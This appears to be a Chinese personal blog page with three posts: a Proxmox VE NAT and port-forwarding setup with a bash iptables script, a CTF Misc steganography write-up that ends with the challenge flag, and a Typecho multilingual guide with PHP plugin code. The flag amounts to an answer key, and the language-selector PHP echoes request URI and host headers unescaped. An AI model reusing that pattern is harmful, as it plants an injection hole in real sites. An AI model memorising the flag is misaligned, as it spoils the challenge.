mpatha(360014056229953ef442476e85501bfd7)dm-0LIO-ORG,TCMU device size=500G features='1 queue_if_no_path' hwhandler='1 alua'wp=rw |-+- policy='service-time 0' prio=50 status=active | `- 14:0:0:152 sdb 8:16 active ready running `-+- policy='service-time 0' prio=50 status=active `- 14:0:0:152 sdc 8:16 active ready running 可看到已经将两块盘识别成同一个多路设备了. 此时, 可以在/dev/mapper/下找到多路设备的磁盘: root@localhost:/dev/mapper# ls control mpatha mpatha即为多路聚合的磁盘. 如果没扫描到,可尝试使用: rescan-scsi-bus.sh 重新扫描SCSI总线后再次尝试,若提示找不到这个指令可以用apt install sg3-utils安装. 实在不行咱重启一下 配置Proxmox VE使用数据盘 因为我们使用了多路, 因此不能直接选择添加iSCSI类型的存储. 使用如下指令创建PV和VG: pvcreate /dev/mapper/mpatha vgcreate <vg名称> /dev/mapper/mpatha 此处我将整块盘都配置成了PV, 你也可以单独划分出来一个分区来做这件事 完成后, 打开Proxmox VE的后台管理, 找到Datacenter-Storage, 点击Add-LVM, Volume group选择刚刚创建的VG的名称, ID自己给他命个名, 然后点击Add即可. 自此, 所有原系统的配置应该已经都迁移过来了 配置NAT NAT地址转换 因为只买了一个IPv4地址, 所以需要配置一下NAT来让所有虚拟机都能正常上网. 打开/etc/network/interfaces, 添加如下内容: auto vmbr0 iface vmbr0 inet static address 192.168.100.1 netmask 255.255.255.0 bridge_ports none bridge_stp off bridge_fd 0 post-up echo 1 > /proc/sys/net/ipv4/ip_forward post-up iptables -t nat -A POSTROUTING -s 192.168.100.0/24 -o ens6f0 -j MASQUERADE post-up iptables -t raw -I PREROUTING -i fwbr+ -j CT --zone 1 post-up iptables -A FORWARD -i vmbr0 -j ACCEPT post-down iptables -t nat -D POSTROUTING -s 192.168.100.0/24 -o ens6f0 -j MASQUERADE post-down iptables -t raw -D PREROUTING -i fwbr+ -j CT --zone 1 post-down iptables -D FORWARD -i vmbr0 -j ACCEPT 其中, vmbr0为NAT网桥, 网桥IP段为192.168.100.0/24 , 该网段流量会被转换为ens6f0外网网卡的IP发出, 并在收到回复时转换为原始IP, 实现共享外部IP. 接着, 使用: ifreload -a 重载配置. 到此, 虚拟机就已经能实现上网了, 只需要安装的时候配置静态地址为192.168.100.0/24内的地址, 默认网关设置为192.168.100.1, 并配置DNS地址即可. 端口转发 懒了, 直接拷打AI 让AI写了个配置脚本/usr/local/bin/natmgr: #!/bin/bash # =================配置区域================= # 公网网卡名称 (请根据实际情况修改) PUB_IF="ens6f0" # ========================================= ACTION=$1 ARG1=$2 ARG2=$3 ARG3=$4 ARG4=$5 # 检查是否为 root 用户 if [ "$EUID" -ne 0 ]; then echo "请使用 root 权限运行此脚本" exit 1 fi # 生成随机 ID (6位字符) generate_id() { # 引入纳秒和随机盐以确保即使脚本执行速度很快,ID也不会重复 echo "$RANDOM $(date +%s%N)" | md5sum | head -c 6 } # 显示帮助信息 usage() { echo "用法: $0 {add|del|list|save} [参数]" echo "" echo "命令:" echo " add <公网端口> <内网IP> <内网端口> [协议] 添加转发规则" echo " [协议] 可选: tcp, udp, both (默认: both)" echo " del <ID> 通过 ID 删除转发规则" echo " list 查看当前所有转发规则" echo " save 保存当前规则,使其在重启后仍然存在 (必须运行!)" echo "" echo "示例:" echo " $0 add 8080 192.168.100.101 80 both" echo " $0 save" echo "" } # 内部函数:添加单条协议规则 _add_single_rule() { local PROTO=$1 local L_PORT=$2 local T_IP=$3 local T_PORT=$4 local RULE_ID=$(generate_id) local COMMENT="NAT_ID:${RULE_ID}" # 1. 添加 DNAT 规则 (PREROUTING 链) iptables -t nat -A PREROUTING -i $PUB_IF -p $PROTO --dport $L_PORT -j DNAT --to-destination $T_IP:$T_PORT -m comment --comment "$COMMENT" # 2. 添加 FORWARD 规则 (允许数据包通过) iptables -A FORWARD -p $PROTO -d $T_IP --dport $T_PORT -m comment --comment "$COMMENT" -j ACCEPT # 输出结果 printf "%-10s %-10s %-10s %-20s %-10s\n" "$RULE_ID" "$PROTO" "$L_PORT" "$T_IP:$T_PORT" "成功" # 提醒用户保存 echo "请运行 '$0 save' 命令以确保规则在重启后仍然存在。" } # 主添加函数 add_rule() { local L_PORT=$1 local T_IP=$2 local T_PORT=$3 local PROTO_REQ=${4:-both} # 默认为 both if [[ -z "$L_PORT" || -z "$T_IP" || -z "$T_PORT" ]]; then echo "错误: 参数缺失" usage exit 1 fi # 转换为小写 PROTO_REQ=$(echo "$PROTO_REQ" | tr '[:upper:]' '[:lower:]') echo "正在添加规则..." printf "%-10s %-10s %-10s %-20s %-10s\n" "ID" "协议" "公网端口" "目标地址" "状态" echo "------------------------------------------------------------------" if [[ "$PROTO_REQ" == "tcp" ]]; then _add_single_rule "tcp" "$L_PORT" "$T_IP" "$T_PORT" elif [[ "$PROTO_REQ" == "udp" ]]; then _add_single_rule "udp" "$L_PORT" "$T_IP" "$T_PORT" elif [[ "$PROTO_REQ" == "both" ]]; then _add_single_rule "tcp" "$L_PORT" "$T_IP" "$T_PORT" _add_single_rule "udp" "$L_PORT" "$T_IP" "$T_PORT" else echo "错误: 不支持的协议 '$PROTO_REQ'。请使用 tcp, udp 或 both。" exit 1 fi echo "------------------------------------------------------------------" } # 删除规则 (基于行号倒序删除) del_rule() { local RULE_ID=$1 if [[ -z "$RULE_ID" ]]; then echo "错误: 请提供规则 ID" usage exit 1 fi echo "正在搜索 ID 为 [${RULE_ID}] 的规则..." local FOUND=0 # --- 清理 NAT 表 (PREROUTING) --- LINES=$(iptables -t nat -nL PREROUTING --line-numbers | grep "NAT_ID:${RULE_ID}" | awk '{print $1}' | sort -rn) if [[ ! -z "$LINES" ]]; then for line in $LINES; do iptables -t nat -D PREROUTING $line echo "已删除 NAT 表 PREROUTING 链第 $line 行" FOUND=1 done fi # --- 清理 Filter 表 (FORWARD) --- LINES=$(iptables -t filter -nL FORWARD --line-numbers | grep "NAT_ID:${RULE_ID}" | awk '{print $1}' | sort -rn) if [[ ! -z "$LINES" ]]; then for line in $LINES; do iptables -t filter -D FORWARD $line echo "已删除 Filter 表 FORWARD 链第 $line 行" FOUND=1 done fi if [[ $FOUND -eq 0 ]]; then echo "未找到 ID 为 $RULE_ID 的规则。" else echo "删除操作完成。" echo "请运行 '$0 save' 命令以更新持久化配置文件。" fi } # 保存规则到磁盘 (新增功能) save_rules() { echo "正在保存当前的 iptables 规则..." # netfilter-persistent 是 Debian/Proxmox 中管理 iptables-persistent 的服务 if command -v netfilter-persistent &> /dev/null; then netfilter-persistent save if [ $? -eq 0 ]; then echo "✅ 规则已成功保存到 /etc/iptables/rules.v4,将在系统重启后自动恢复。" else echo "❌ 规则保存失败。请检查 'netfilter-persistent' 服务状态。" fi else echo "警告: 未找到 'netfilter-persistent' 命令。" echo "请确保已安装 'iptables-persistent' 软件包。" echo "安装命令: apt update && apt install iptables-persistent" fi } # 列出规则 list_rules() { echo "当前端口转发规则列表:" printf "%-10s %-10s %-10s %-20s %-10s\n" "ID" "协议" "公网端口" "目标地址" "目标端口" echo "------------------------------------------------------------------" # 解析 iptables 输出 iptables -t nat -nL PREROUTING -v | grep "NAT_ID:" | while read line; do id=$(echo "$line" | grep -oP '(?<=NAT_ID:)[^ ]*') # 提取协议 if echo "$line" | grep -q "tcp"; then proto="tcp"; else proto="udp"; fi # 提取 dpt: 之后的端口 l_port=$(echo "$line" | grep -oP '(?<=dpt:)[0-9]+') # 提取 to: 之后的 IP:Port target=$(echo "$line" | grep -oP '(?<=to:).*') t_ip=${target%:*} t_port=${target#*:} printf "%-10s %-10s %-10s %-20s %-10s\n" "$id" "$proto" "$l_port" "$t_ip" "$t_port" done } # 主逻辑 case "$ACTION" in add) add_rule "$ARG1" "$ARG2" "$ARG3" "$ARG4" ;; del) del_rule "$ARG1" ;; list) list_rules exit 0 ;; save) save_rules ;; *) usage exit 1 ;; esac save_rules 让其自动添加/删除iptables规则实现端口转发. 记得chmod +x 通过iptables-persistent实现保存配置开机自动加载: apt install iptables-persistent 配置过程中会询问是否需要保存当前规则,Yes或者No都可以。 添加转发规则时使用natmgr add <主机监听地址> <虚拟机内网IP> <虚拟机端口> [tcp/udp/both]即可, 脚本会自动分配一个唯一ID, 删除时使用natmgr del <ID>即可. 也可使用natmgr list查看已有转发列表. 参考文章: bin456789/reinstall: 一键DD/重装脚本 (One-click reinstall OS on VPS) - GitHub Install Proxmox VE on Debian 12 Bookworm - Proxmox VE PVE连接 TrueNAS iSCSI存储实现本地无盘化_pve iscsi-CSDN博客 ProxmoxVE (PVE) NAT 网络配置方法 - Oskyla 烹茶室
2025年11月29日
164 阅读
0 评论
0 点赞
2025古剑山 Misc 水果 WriteUp
通过010 editor打开文件,发现末端存在ZIP头: 提取出来,打开发现无密码,是一串base64: 5L2g6L+Z6Iu55p6c5oCO5LmI6L+Z5LmI5aSnCuWkp+S4quWEv+aJjeWAvOmSseS9oOimgeS4jeimgQrov5nmoYPlrZDmgI7kuYjov5nkuYjnoawK56Gs5piv5Zug5Li65paw6bKc5L2g6KaB6L2v55qE6L+Y5piv57Ov55qECui/meilv+eTnOiDveWQg+WQl+eci+i1t+adpeacieeCueS4jeeGnwrkuI3nhp/nmoTopb/nk5zmgI7kuYjlj6/og73kvaDov5nlsLHmmK/nrYnnnYDlkIPnlJznmoQK5L2g6L+Z5p+a5a2Q6L+Z5LmI5bCPCuWwj+W3p+eahOaJjeWlveWQg+S9oOimgeWkp+S4queahOi/mOaYr+WlveWQg+eahArov5nmqZnlrZDmgI7kuYjov5nkuYjphbgK6YW45omN5piv5q2j5a6X55qE5qmZ5a2Q5L2g6KaB5piv55Sc55qE5Y675Yir5a6255yLCui/memmmeiVieacieeCueW8rwrlvK/nmoTpppnolYnmm7TnlJzkvaDkuI3mh4IK5L2g6L+Z5qKo5a2Q5piv5LiN5piv5pyJ54K556GsCuehrOaYr+WboOS4uuaWsOmynOWQg+edgOacieWPo+aEnwrov5nokaHokITmgI7kuYjov5nkuYjlsI8K5bCP55qE6JGh6JCE5pu05rWT57yp55Sc5ZGz 解码得到: 你这苹果怎么这么大 大个儿才值钱你要不要 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 这橙子怎么这么酸 酸才是正宗的橙子你要是甜的去别家看 这香蕉有点弯 弯的香蕉更甜你不懂 你这梨子是不是有点硬 硬是因为新鲜吃着有口感 这葡萄怎么这么小 小的葡萄更浓缩甜味 同时,发现导出的zip末端仍然有一部分未识别的数据: 根据其1A 9E 97 BA 2A可推测这是OurSecret隐写,通过OurSecret工具打开,发现需要密码。尝试发现密码就是shuiguo,可解出来一个txt: 你这柚子这么小 你这柚子这么小 你这柚子这么小 你这梨子是不是有点硬 你这柚子这么小 大个儿才值钱你要不要 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 小巧的才好吃你要大个的还是好吃的 弯的香蕉更甜你不懂 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这苹果怎么这么大 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这西瓜能吃吗看起来有点不熟 你这柚子这么小 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这柚子这么小 这西瓜能吃吗看起来有点不熟 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜吃着有口感 发现和上面解压出来的是一条条对应的。因为上面解压出来的语句是16条,推测是16进制,分别是0-f,然后将OurSecret解密出来的内容分别对应成16进制数,可得到:666c61677b33653235393630613739646263363962363734636434656336376137326336327d。 编写python脚本,2个一组按照ascii转换成字符: hex_string = "666c61677b33653235393630613739646263363962363734636434656336376137326336327d" ascii_string = ''.join([chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2)]) print(ascii_string) 得到Flag:flag{3e25960a79dbc69b674cd4ec67a72c62}
2025年11月29日
379 阅读
0 评论
4 点赞
为Typecho配置简易多语言方案
想着给博客做一下国际化支持,为每篇文章和每个页面单独配置一个英文版本,但是上网查了一圈发现Typecho对国际化的支持并不好,最终自己设计了一套方案,写这篇文章记录下来 本文默认你对PHP、Nginx、Typecho的基础逻辑有部分了解 分析 需求 需要为每个文章和页面都配置中英双语 需要配置一个语言选择器,使得前端可以快速切换语言 需要搜索引擎可以正确识别并收录多语言版本的文章 大致方案 中英文文章的区分大致有这两种方案: 作为一个单独的参数,如访问文章时用/?lang=zh-CN和/?lang=en-US来区分,但是这种方案实现起来比较困难,同时对搜索引擎收录也不太好; 通过URL路径区分,如访问https://<host>/article是中文页面,访问https://<host>/en/article是英文页面,这种配置起来比较简单,直接分成两个Typecho实例即可,并且对搜索引擎友好。问题是评论和浏览量统计需要手动同步。 总结下来,我选择了第二种方案,并且打算直接通过在/en/新建一个Typecho实例实现多语言支持。 具体实现 首先将博客实例复制两份,一份中文一份英文,然后分别翻译成英文; 修改前端代码,实现语言选择器; 要保证两边文章URL只有一个/en之差,就得保证中文站点和英文站点文章的cid相同,而这个cid是根据创建文章和附件的顺序来的,因此打算编写一个同步插件,中文端发文章的时候自动在英文数据库中插入一条对应cid的文章; 改写SiteMap插件,因为sitemap不能既包含页面链接又包含其他sitemap的引用,因此主站需要创建两个sitemap,一个是收录中文站页面的主sitemap,另一个是索引,负责索引中文和英文的sitemap; 在<head></head>中添加hreflang属性来告知搜索引擎如何处理多语言; 将英文端的访问量和点赞量链接到中文的数据库; 将英文端的评论链接到中文数据库。 开整 创建英文实例 将整个网站复制一份,放在原先的网站根目录的/en/文件夹下,同时将数据库也复制一份,我这里命名成typecho_en。 接着,分别为两个实例配置伪静态: location /en/ { if (!-e $request_filename) { rewrite ^(.*)$ /en/index.php$1 last; } } location / { if (!-e $request_filename) { rewrite ^(.*)$ /index.php$1 last; } } 关于为什么要将中文的主实例也用location括起来,是因为实际测试的时候发现如果不括起来就会将英文实例也当作中文实例的一部分解析,造成404。 同时,修改<webroot>/en/config.inc.php里的数据库配置,指向英文实例的数据库。 这个时候,访问<host>/en/应该能看到一个和中文主站一模一样的站点。 修改Typecho语言 这一步其实感觉可以不要,因为基本上前端页面的语言都是由主题决定的,将Typecho本身语言设置为英文没什么大用,但是为了统一,还是选择改了一下(这样可以一眼看出来是哪个实例的后台(笑)) 直接参考GitHub上typecho官方的多语言支持即可,从Release里下载语言包,然后解压到<webroot>/en/usr/langs/下,然后进入https://<host>/en/admin/options-general.php,就能看见语言设置选项,改为English即可。 修改主题语言 最繁琐的一步,我使用的是Joe,进入<webroot>/en/usr/themes/Joe,将所有你能看到的显示相关的中文都翻译成英文,这里没什么非常方便的方法,用翻译工具的话翻出来会很别扭,我还是选择了手动翻译。 需要注意的是,有一部分的前端配置是在js中的,不止是PHP源文件,这些都需要翻译。 翻译文章 这一步没啥好说的,把/en/下的文章一篇篇翻译成英文,保存 配置文章同步发布 这一步是为了保持两边文章的cid同步,因为cid和访问url有关,保持cid同步可以使下文配置语言选择器一步更加简单,只要在host后加个/en或者去掉就行了。 cid是数据库中typecho_contents表的一个自增字段,同时也是主键,他的分配和typecho的文章、附件等有关。因为上传的文件也会占用cid,而我打算将所有附件都上传到中文站,因此如果不做特殊处理两边的cid容易匹配不上,增加后续工作量。 因此我选择的方案是用AI编写一个插件,当中文站发布文章的时候自动触发,读取中文站为其分配的cid并写入到英文站的数据库中。 创建文件<webroot>/usr/plugins/SyncToEnglish/Plugin.php并填入如下内容: <?php if (!defined('__TYPECHO_ROOT_DIR__')) exit; /** * 中文文章同步到英文数据库 * * @package SyncToEnglish * @author ChatGPT, iYoRoy * @version 1.0.0 * @link https://example.com */ class SyncToEnglish_Plugin implements Typecho_Plugin_Interface { public static function activate() { Typecho_Plugin::factory('Widget_Contents_Post_Edit')->finishPublish = [__CLASS__, 'push']; return 'SyncToEnglish 插件已启用:发布中文文章时会自动在英文库创建对应空文章'; error_log("[SyncToEnglish] 插件激活成功"); } public static function deactivate() { return 'SyncToEnglish 插件已禁用'; } public static function config(Typecho_Widget_Helper_Form $form) { $host = new Typecho_Widget_Helper_Form_Element_Text('host', NULL, 'localhost', _t('英文数据库主机')); $user = new Typecho_Widget_Helper_Form_Element_Text('user', NULL, 'root', _t('英文数据库用户名')); $password = new Typecho_Widget_Helper_Form_Element_Password('password', NULL, NULL, _t('英文数据库密码')); $database = new Typecho_Widget_Helper_Form_Element_Text('database', NULL, 'typecho_en', _t('英文数据库名称')); $port = new Typecho_Widget_Helper_Form_Element_Text('port', NULL, '3306', _t('英文数据库端口')); $charset = new Typecho_Widget_Helper_Form_Element_Text('charset', NULL, 'utf8mb4', _t('字符集')); $prefix = new Typecho_Widget_Helper_Form_Element_Text('prefix', NULL, 'typecho_', _t('表前缀')); $form->addInput($host); $form->addInput($user); $form->addInput($password); $form->addInput($database); $form->addInput($port); $form->addInput($charset); $form->addInput($prefix); } public static function personalConfig(Typecho_Widget_Helper_Form $form) {} public static function push($contents, $widget) { $options = Helper::options(); $config = $options->plugin('SyncToEnglish'); // 获取中文库文章信息 $cnDb = Typecho_Db::get(); if (is_array($contents) && isset($contents['cid'])) { $cid = $contents['cid']; $title = $contents['title']; } elseif (is_object($contents) && isset($contents->cid)) { $cid = $contents->cid; $title = $contents->title; } else { $db = Typecho_Db::get(); $row = $db->fetchRow($db->select()->from('table.contents')->order('cid', Typecho_Db::SORT_DESC)->limit(1)); $cid = $row['cid']; $title = $row['title']; error_log("[SyncToEnglish DEBUG] CID not found in param, fallback to latest cid={$cid}\n", 3, __DIR__ . '/debug.log'); } $article = $cnDb->fetchRow($cnDb->select()->from('table.contents')->where('cid = ?', $cid)); if (!$article) return; $enDb = new Typecho_Db('Mysql', $config->prefix); $enDb->addServer([ 'host' => $config->host, 'user' => $config->user, 'password' => $config->password, 'charset' => $config->charset, 'port' => (int)$config->port, 'database' => $config->database ], Typecho_Db::READ | Typecho_Db::WRITE); try { $exists = $enDb->fetchRow($enDb->select()->from('table.contents')->where('cid = ?', $article['cid'])); if ($exists) { $enDb->query($enDb->update('table.contents') ->rows([ // 'title' => $article['title'], 'slug' => $article['slug'], 'modified' => $article['modified'] ]) ->where('cid = ?', $article['cid']) ); } else { $enDb->query($enDb->insert('table.contents')->rows([ 'cid' => $article['cid'], 'title' => $article['title'], 'slug' => $article['slug'], 'created' => $article['created'], 'modified' => $article['modified'], 'type' => $article['type'], 'status' => $article['status'], 'authorId' => $article['authorId'], 'views' => 0, 'text' => $article['text'], 'allowComment' => $article['allowComment'], 'allowFeed' => $article['allowFeed'], 'allowPing' => $article['allowPing'] ])); } } catch (Exception $e) { error_log('[SyncToEnglish] 同步失败: ' . $e->getMessage()); } } } 随后去后台启用插件并配置上英文数据库的数据库信息即可。 完成后,在中文站发布文章,英文站应该能同步发布一篇相同cid的文章。 配置语言选择器 既然我们已经完成了同步文章cid,接下来我们修改语言的时候只需要修改url,在前面加上或者去掉/en/就行了。通过PHP编写一个选择器,放在主题的顶栏中: <!-- Language Selector --> <div class="joe_dropdown" trigger="hover" placement="60px"> <div class="joe_dropdown__link"> <a href="#" rel="nofollow">Language</a> <svg class="joe_dropdown__link-icon" viewBox="0 0 1024 1024" xmlns="http://www.w3.org/2000/svg" width="14" height="14"> <path d="M561.873 725.165c-11.262 11.262-26.545 21.72-41.025 18.502-14.479 2.413-28.154-8.849-39.415-18.502L133.129 375.252c-17.697-17.696-17.697-46.655 0-64.352s46.655-17.696 64.351 0l324.173 333.021 324.977-333.02c17.696-17.697 46.655-17.697 64.351 0s17.697 46.655 0 64.351L561.873 725.165z" fill="var(--main)" /> </svg> </div> <nav class="joe_dropdown__menu"> <?php // 获取当前完整的 URL $current_url = $_SERVER['REQUEST_URI']; $host = $_SERVER['HTTP_HOST']; // 判断是否有英文前缀 "/en/" if (strpos($current_url, '/en/') === 0) { $current_url = substr_replace($current_url, '', 0, 3); } $new_url_cn = 'https://' . $host . $current_url; $new_url_en = 'https://' . $host . '/en' . $current_url; // 生成两个超链接 echo '<a href="' . $new_url_cn . '">简体中文</a>'; echo '<a href="' . $new_url_en . '">English</a>'; ?> </nav> </div> 需要在中文和英文两个实例中都添加。 之后,全局都能通过这个选择器选择语言。对于我用的Joe主题,移动端和PC端需要单独编写两个语言选择器。 改写SiteMap插件 为了让搜索引擎能更快的收录到英文的页面,我打算修改SiteMap插件,使之包含英文站点的页面。SiteMap有两种,一种是sitemapindex,用于索引子SiteMap,一种是urlset,用于包含页面。我使用的是joyqi/typecho-plugin-sitemap插件,在这个基础上,将默认的/sitemap.xml改为sitemapindex,新建一个路由/sitemap_cn.xml来存放中文站的SiteMap,英文站点的插件不变,再有默认的/sitemap.xml引用/sitemap_cn.xml和/en/sitemap.xml。 修改SiteMap的Plugin.php: /** * Activate plugin method, if activated failed, throw exception will disable this plugin. */ public static function activate() { Helper::addRoute( - 'sitemap', + 'sitemap_index', '/sitemap.xml', Generator::class, - 'generate', + 'generate_index', 'index' ); + Helper::addRoute( + 'sitemap_cn', + '/sitemap_cn.xml', + Generator::class, + 'generate_cn', + 'index' + ); } /** * Deactivate plugin method, if deactivated failed, throw exception will enable this plugin. */ public static function deactivate() { - Helper::removeRoute('sitemap'); + Helper::removeRoute('sitemap_index'); + Helper::removeRoute('sitemap_cn'); } {collapse} {collapse-item label="完整代码"} <?php namespace TypechoPlugin\Sitemap; use Typecho\Plugin\PluginInterface; use Typecho\Widget\Helper\Form; use Utils\Helper; if (!defined('__TYPECHO_ROOT_DIR__')) { exit; } /** * 自动生成 Typecho 站点地图的插件。 * 站点地图 Sitemap 的地址是:http(s)://yourdomain.com/sitemap.xml * * @package 站点地图插件 * @author joyqi * @version 1.0.0 * @since 1.2.1 * @link https://github.com/joyqi/typecho-plugin-sitemap */ class Plugin implements PluginInterface { /** * Activate plugin method, if activated failed, throw exception will disable this plugin. */ public static function activate() { Helper::addRoute( 'sitemap_index', '/sitemap.xml', Generator::class, 'generate_index', 'index' ); Helper::addRoute( 'sitemap_cn', '/sitemap_cn.xml', Generator::class, 'generate_cn', 'index' ); } /** * Deactivate plugin method, if deactivated failed, throw exception will enable this plugin. */ public static function deactivate() { Helper::removeRoute('sitemap_index'); Helper::removeRoute('sitemap_cn'); } /** * Plugin config panel render method. * * @param Form $form */ public static function config(Form $form) { $sitemapBlock = new Form\Element\Checkbox( 'sitemapBlock', [ 'posts' => _t('生成文章链接'), 'pages' => _t('生成独立页面链接'), 'categories' => _t('生成分类链接'), 'tags' => _t('生成标签链接'), ], ['posts', 'pages', 'categories', 'tags'], _t('站点地图显示') ); $updateFreq = new Form\Element\Select( 'updateFreq', [ 'daily' => _t('每天'), 'weekly' => _t('每周'), 'monthly' => _t('每月或更久'), ], 'daily', _t('更新频率') ); // $externalSitemap = new Typecho_Widget_Helper_Form_Element_Text('externalSitemap', NULL, '', _t('附加SiteMap')); $form->addInput($sitemapBlock->multiMode()); $form->addInput($updateFreq); // $form->addInput($externalSitemap); } /** * Plugin personal config panel render method. * * @param Form $form */ public static function personalConfig(Form $form) { // TODO: Implement personalConfig() method. } } {/collapse-item} {/collapse} 修改SiteMap的Generator.php: class Generator extends Contents { + public function generate_index(){ + $sitemap = '<?xml version="1.0" encoding="UTF-8"?> +<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> + <sitemap> + <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc> + </sitemap> + <sitemap> + <loc>https://www.iyoroy.cn/en/sitemap.xml</loc> + </sitemap> +</sitemapindex>'; + $this->response->throwContent($sitemap, 'text/xml'); + } + /** * @return void */ - public function generate() + public function generate_cn() { $sitemap = '<?xml version="1.0" encoding="' . $this->options->charset . '"?>' . PHP_EOL; ... {collapse} {collapse-item label="完整代码"} <?php namespace TypechoPlugin\Sitemap; use Widget\Base\Contents; use Widget\Contents\Page\Rows; use Widget\Contents\Post\Recent; use Widget\Metas\Category\Rows as CategoryRows; use Widget\Metas\Tag\Cloud; if (!defined('__TYPECHO_ROOT_DIR__')) { exit; } /** * Sitemap Generator */ class Generator extends Contents { public function generate_index(){ $sitemap = '<?xml version="1.0" encoding="UTF-8"?> <sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <sitemap> <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc> </sitemap> <sitemap> <loc>https://www.iyoroy.cn/en/sitemap.xml</loc> </sitemap> </sitemapindex>'; $this->response->throwContent($sitemap, 'text/xml'); } /** * @return void */ public function generate_cn() { $sitemap = '<?xml version="1.0" encoding="' . $this->options->charset . '"?>' . PHP_EOL; $sitemap .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"' . ' xmlns:news="http://www.google.com/schemas/sitemap-news/0.9"' . ' xmlns:xhtml="http://www.w3.org/1999/xhtml"' . ' xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"' . ' xmlns:video="http://www.google.com/schemas/sitemap-video/1.1">' . PHP_EOL; // add homepage $sitemap .= <<<EOF <url> <loc>{$this->options->siteUrl}</loc> <changefreq>daily</changefreq> <priority>1.0</priority> </url> EOF; // add posts if (in_array('posts', $this->options->plugin('Sitemap')->sitemapBlock)) { $postsCount = $this->size($this->select() ->where('table.contents.status = ?', 'publish') ->where('table.contents.created < ?', $this->options->time) ->where('table.contents.type = ?', 'post')); $posts = Recent::alloc(['pageSize' => $postsCount]); $freq = $this->options->plugin('Sitemap')->updateFreq ==='monthly' ? 'monthly' : 'weekly'; while ($posts->next()) { $sitemap .= <<<EOF <url> <loc>{$posts->permalink}</loc> <changefreq>{$freq}</changefreq> <lastmod>{$posts->date->format('c')}</lastmod> <priority>0.8</priority> </url> EOF; } } // add pages if (in_array('pages', $this->options->plugin('Sitemap')->sitemapBlock)) { $pages = Rows::alloc(); $freq = $this->options->plugin('Sitemap')->updateFreq ==='monthly' ? 'yearly' : 'monthly'; while ($pages->next()) { $sitemap .= <<<EOF <url> <loc>{$pages->permalink}</loc> <changefreq>{$freq}</changefreq> <lastmod>{$pages->date->format('c')}</lastmod> <priority>0.5</priority> </url> EOF; } } // add categories if (in_array('categories', $this->options->plugin('Sitemap')->sitemapBlock)) { $categories = CategoryRows::alloc(); $freq = $this->options->plugin('Sitemap')->updateFreq; while ($categories->next()) { $sitemap .= <<<EOF <url> <loc>{$categories->permalink}</loc> <changefreq>{$freq}</changefreq> <priority>0.6</priority> </url> EOF; } } // add tags if (in_array('tags', $this->options->plugin('Sitemap')->sitemapBlock)) { $tags = Cloud::alloc(); $freq = $this->options->plugin('Sitemap')->updateFreq; while ($tags->next()) { $sitemap .= <<<EOF <url> <loc>{$tags->permalink}</loc> <changefreq>{$freq}</changefreq> <priority>0.4</priority> </url> EOF; } } $sitemap .= '</urlset>'; $this->response->throwContent($sitemap, 'text/xml'); } } {/collapse-item} {/collapse} 请将代码中的博客地址改成你自己的 (最近太忙了实在是没空给单独写个配置页面了就直接把SiteMap URL写死在插件里了) 禁用再启用插件,访问https://<host>/sitemap.xml应该就能看到SiteMap的索引了: <sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <sitemap> <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc> </sitemap> <sitemap> <loc>https://www.iyoroy.cn/en/sitemap.xml</loc> </sitemap> </sitemapindex> 通过Bing Search等其他搜索引擎的SEO管理页应该也能看到扫描到了英文站的SiteMap: 添加hreflang 这一步的作用是让搜索引擎知道当前页面存在多语言版本,使其可以根据用户的语言偏好或地理位置展示合适的页面。我们需要在页面的<head></head>中插入类似如下格式的link标签: <link rel="alternate" hreflang="en-us" href="https://example.com/us"> <link rel="alternate" hreflang="fr" href="https://example.com/fr"> <link rel="alternate" hreflang="x-default" href="https://example.com/default"> 其中,hreflang="x-default"意为本文的默认语言。hreflang的值是由ISO 639-1的语言代码和ISO 3166-1 Alpha-2的区域代码构成的,其中区域代码可以省略,只标识语言(类似于中文和简体中文(大陆—)、繁体中文(香港),繁体中文(台湾)的区别)。 在主题的<head></head>相关配置中加入如下内容: <?php // 获取当前完整的 URL $current_url = $_SERVER['REQUEST_URI']; $host = $_SERVER['HTTP_HOST']; // 